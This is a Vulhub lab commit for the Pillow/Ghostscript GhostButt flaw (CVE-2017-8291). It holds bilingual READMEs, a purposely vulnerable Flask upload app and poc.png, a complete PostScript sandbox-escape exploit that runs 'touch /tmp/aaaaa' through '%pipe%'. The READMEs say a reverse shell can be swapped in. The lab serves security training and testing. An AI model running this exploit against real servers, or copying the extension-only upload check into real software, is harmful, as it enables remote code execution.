first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
python/PIL-CVE-2017-8291/01.png
Normal file
BIN
python/PIL-CVE-2017-8291/01.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 5.1 KiB |
61
python/PIL-CVE-2017-8291/README.md
Normal file
61
python/PIL-CVE-2017-8291/README.md
Normal file
@@ -0,0 +1,61 @@
|
||||
# Python PIL/Pillow Remote Command Execution (GhostButt / CVE-2017-8291)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Python PIL (Pillow) is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities.
|
||||
|
||||
The Python image processing module PIL (Pillow) is affected by the GhostButt vulnerability (CVE-2017-8291) because it internally calls GhostScript to process EPS images. This vulnerability allows attackers to execute arbitrary commands on the target system.
|
||||
|
||||
When PIL processes an image, it determines the image type based on the file header (Magic Bytes). If it identifies an EPS file (header starting with `%!PS`), it passes the file to `PIL/EpsImagePlugin.py` for processing.
|
||||
|
||||
In this module, PIL calls the system's GhostScript command (`gs`) to process the image file:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages,
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
]
|
||||
|
||||
# Code to check if GhostScript is installed is omitted
|
||||
try:
|
||||
with open(os.devnull, 'w+b') as devnull:
|
||||
subprocess.check_call(command, stdin=devnull, stdout=devnull)
|
||||
im = Image.open(outfile)
|
||||
```
|
||||
|
||||
Although the `-dSAFER` flag is set (safe mode), a sandbox bypass vulnerability in GhostScript (GhostButt CVE-2017-8291) allows this safety mechanism to be bypassed, enabling arbitrary command execution.
|
||||
|
||||
As of this writing, even the latest official GhostScript version 9.21 is still affected by this vulnerability. Therefore, as long as GhostScript is installed on the operating system, PIL is vulnerable to command execution.
|
||||
|
||||
References:
|
||||
|
||||
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
|
||||
- [CVE-2017-8291 Details](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
|
||||
- [GhostScript Security Advisory](https://www.ghostscript.com/security-advisories.html)
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute following command to start a web application that is vulnerable to the CVE-2017-8291 vulnerability:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After starting, visit `http://your-ip:8000/` to access the upload page.
|
||||
|
||||
## Vulnerability Exploitation
|
||||
|
||||
The normal functionality of this application allows users to upload a PNG file. The backend uses PIL to load the image and output its dimensions. However, we can exploit this by changing the extension of an executable EPS file to PNG and uploading it. Since the backend determines the image type based on the file header rather than the extension, the file extension check can be bypassed.
|
||||
|
||||
For example, we can upload [poc.png](poc.png), which will execute the command `touch /tmp/aaaaa` on the server. By modifying the command in the POC to a reverse shell command, we can obtain shell access to the server:
|
||||
|
||||

|
59
python/PIL-CVE-2017-8291/README.zh-cn.md
Normal file
59
python/PIL-CVE-2017-8291/README.zh-cn.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Python PIL 远程命令执行漏洞(GhostButt / CVE-2017-8291)
|
||||
|
||||
Python PIL(Pillow)是一个流行的 Python 图像处理库,支持多种图像格式并提供强大的图像处理功能。
|
||||
|
||||
Python 中处理图片的模块 PIL(Pillow),因为其内部调用了 GhostScript 而受到 GhostButt 漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
|
||||
|
||||
PIL 内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个 EPS 文件(头为 `%!PS`),则分发给 `PIL/EpsImagePlugin.py` 处理。
|
||||
|
||||
在这个模块中,PIL 调用了系统的 gs 命令,也就是 GhostScript 来处理图片文件:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages,
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
]
|
||||
|
||||
# 省略判断是否安装 GhostScript 的代码
|
||||
try:
|
||||
with open(os.devnull, 'w+b') as devnull:
|
||||
subprocess.check_call(command, stdin=devnull, stdout=devnull)
|
||||
im = Image.open(outfile)
|
||||
```
|
||||
|
||||
虽然设置了 `-dSAFER`,也就是安全模式,但因为 GhostScript 的一个沙盒绕过漏洞(GhostButt CVE-2017-8291),导致这个安全模式被绕过,可以执行任意命令。
|
||||
|
||||
另外,截至目前,GhostScript 官方最新版 9.21 仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了 GhostScript,PIL 就存在命令执行漏洞。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
|
||||
- [CVE-2017-8291 详情](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
|
||||
- [GhostScript 安全公告](https://www.ghostscript.com/security-advisories.html)
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个存在漏洞的Web应用,其中使用了PIL处理用户上传的文件:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问 `http://your-ip:8000/` 即可看到一个上传页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
该应用的正常功能是允许用户上传一个 PNG 文件,后端调用 PIL 加载图片,输出图片的长宽。但我们可以将可执行命令的 EPS 文件后缀改成 PNG 进行上传,因为后端是根据文件头来判断图片类型,所以能够绕过后缀检查。
|
||||
|
||||
例如,我们可以上传 [poc.png](poc.png),该文件会在服务器上执行 `touch /tmp/aaaaa` 命令。通过将 POC 中的命令修改为反弹 shell 命令,我们可以获得服务器的 shell 访问权限:
|
||||
|
||||

|
72
python/PIL-CVE-2017-8291/app.py
Normal file
72
python/PIL-CVE-2017-8291/app.py
Normal file
@@ -0,0 +1,72 @@
|
||||
'''get image size app'''
|
||||
# coding=utf-8
|
||||
|
||||
import os
|
||||
from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages
|
||||
from PIL import Image
|
||||
from werkzeug.utils import secure_filename
|
||||
|
||||
UPLOAD_FOLDER = '/tmp'
|
||||
ALLOWED_EXTENSIONS = set(['png'])
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
|
||||
app.secret_key = 'test'
|
||||
|
||||
def get_img_size(filepath=""):
|
||||
'''获取图片长宽'''
|
||||
try:
|
||||
img = Image.open(filepath)
|
||||
img.load()
|
||||
return img.size
|
||||
except:
|
||||
return (0, 0)
|
||||
|
||||
def allowed_file(filename):
|
||||
'''判断文件后缀是否合法'''
|
||||
return '.' in filename and \
|
||||
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def upload_file():
|
||||
'''文件上传app'''
|
||||
if request.method == 'POST':
|
||||
if 'file' not in request.files:
|
||||
flash('No file part')
|
||||
return redirect(request.url)
|
||||
image_file = request.files['file']
|
||||
if image_file.filename == '':
|
||||
flash('No selected file')
|
||||
return redirect(request.url)
|
||||
if not allowed_file(image_file.filename):
|
||||
flash('File type don\'t allowed')
|
||||
return redirect(request.url)
|
||||
if image_file:
|
||||
filename = secure_filename(image_file.filename)
|
||||
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
||||
image_file.save(img_path)
|
||||
height, width = get_img_size(img_path)
|
||||
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
|
||||
.format(height, width)
|
||||
|
||||
return render_template_string('''
|
||||
<!doctype html>
|
||||
<title>Upload new File</title>
|
||||
<h1>Upload new File</h1>
|
||||
{% with messages = get_flashed_messages() %}
|
||||
{% if messages %}
|
||||
<ul class=flashes>
|
||||
{% for message in messages %}
|
||||
<li>{{ message }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endif %}
|
||||
{% endwith %}
|
||||
<form method=post enctype=multipart/form-data>
|
||||
<p><input type=file name=file>
|
||||
<input type=submit value=Upload>
|
||||
</form>
|
||||
''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(threaded=True, port=8000, host="0.0.0.0")
|
9
python/PIL-CVE-2017-8291/docker-compose.yml
Normal file
9
python/PIL-CVE-2017-8291/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ghostscript:9.21-with-flask
|
||||
command: python app.py
|
||||
volumes:
|
||||
- ./app.py:/usr/src/app.py
|
||||
ports:
|
||||
- "8000:8000"
|
100
python/PIL-CVE-2017-8291/poc.png
Normal file
100
python/PIL-CVE-2017-8291/poc.png
Normal file
@@ -0,0 +1,100 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
|
||||
/size_from 10000 def
|
||||
/size_step 500 def
|
||||
/size_to 65000 def
|
||||
/enlarge 1000 def
|
||||
|
||||
%/bigarr 65000 array def
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
pop
|
||||
1 add
|
||||
} for
|
||||
|
||||
/buffercount exch def
|
||||
|
||||
/buffersizes buffercount array def
|
||||
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
buffersizes exch 2 index exch put
|
||||
1 add
|
||||
} for
|
||||
pop
|
||||
|
||||
/buffers buffercount array def
|
||||
|
||||
0 1 buffercount 1 sub {
|
||||
/ind exch def
|
||||
buffersizes ind get /cursize exch def
|
||||
cursize string /curbuf exch def
|
||||
buffers ind curbuf put
|
||||
cursize 16 sub 1 cursize 1 sub {
|
||||
curbuf exch 255 put
|
||||
} for
|
||||
} for
|
||||
|
||||
|
||||
/buffersearchvars [0 0 0 0 0] def
|
||||
/sdevice [0] def
|
||||
|
||||
enlarge array aload
|
||||
|
||||
{
|
||||
.eqproc
|
||||
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||
buffersearchvars 1 0 put
|
||||
buffersearchvars 2 0 put
|
||||
buffercount {
|
||||
buffers buffersearchvars 1 get get
|
||||
buffersizes buffersearchvars 1 get get
|
||||
16 sub get
|
||||
254 le {
|
||||
buffersearchvars 2 1 put
|
||||
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||
} if
|
||||
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||
} repeat
|
||||
|
||||
buffersearchvars 2 get 1 ge {
|
||||
exit
|
||||
} if
|
||||
%(.) print
|
||||
} loop
|
||||
|
||||
.eqproc
|
||||
.eqproc
|
||||
.eqproc
|
||||
sdevice 0
|
||||
currentdevice
|
||||
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||
put
|
||||
|
||||
|
||||
buffersearchvars 0 get array aload
|
||||
|
||||
sdevice 0 get
|
||||
16#3e8 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3b0 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3f0 0 put
|
||||
|
||||
|
||||
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
|
||||
.putdeviceparams
|
||||
1 true .outputpage
|
||||
.rsdparams
|
||||
%{ } loop
|
||||
0 0 .quit
|
||||
%asdf
|
Reference in New Issue
Block a user